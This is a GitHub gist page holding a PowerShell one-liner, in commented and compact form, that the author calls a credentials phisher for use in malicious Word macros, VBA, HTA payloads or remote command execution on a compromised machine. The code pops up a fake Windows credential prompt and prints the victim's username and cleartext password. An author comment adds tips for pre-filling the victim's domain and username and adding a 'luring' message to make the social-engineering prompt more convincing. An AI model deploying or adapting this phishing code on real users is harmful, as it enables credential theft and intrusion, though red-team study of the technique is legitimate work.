Skip to content

Instantly share code, notes, and snippets.

@mgeeky
Last active September 21, 2017 13:44
Show Gist options
  • Save mgeeky/a404d7f23c85954650d686bb3f02abaf to your computer and use it in GitHub Desktop.
Save mgeeky/a404d7f23c85954650d686bb3f02abaf to your computer and use it in GitHub Desktop.
Powershell oneline Credentials Phisher - to be used in malicious Word Macros/VBA/HTA or other RCE commands on seized machine.
<#
try {
(Get-Credential -Credential $null).GetNetworkCredential() |
Select-Object @{name="User"; expression = {
If ($_.Domain -ne [string]::Empty) {
"{0}\{1}" -f ($_.Domain), ($_.UserName)
} Else {
$_.UserName
}
}
}, Password | Format-List
} catch {
}
#>
try { ((Get-Credential -Credential $null).GetNetworkCredential() | Select-Object @{name="User"; expression={If ($_.Domain -ne [string]::Empty) {"{0}\{1}" -f ($_.Domain), ($_.UserName)} Else { $_.UserName} }}, Password | Format-List) } catch { }
@mgeeky
Copy link
Author

mgeeky commented Sep 21, 2017

One can additionally add, right after Get-Credential following parameters that could improve pretext's quality during social engineering attempt:

  • -Credential domain\username - when we know our victim's domain and/or username - we can supply this info to the dialog
  • -Message "Some luring sentence" - to include some luring message

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment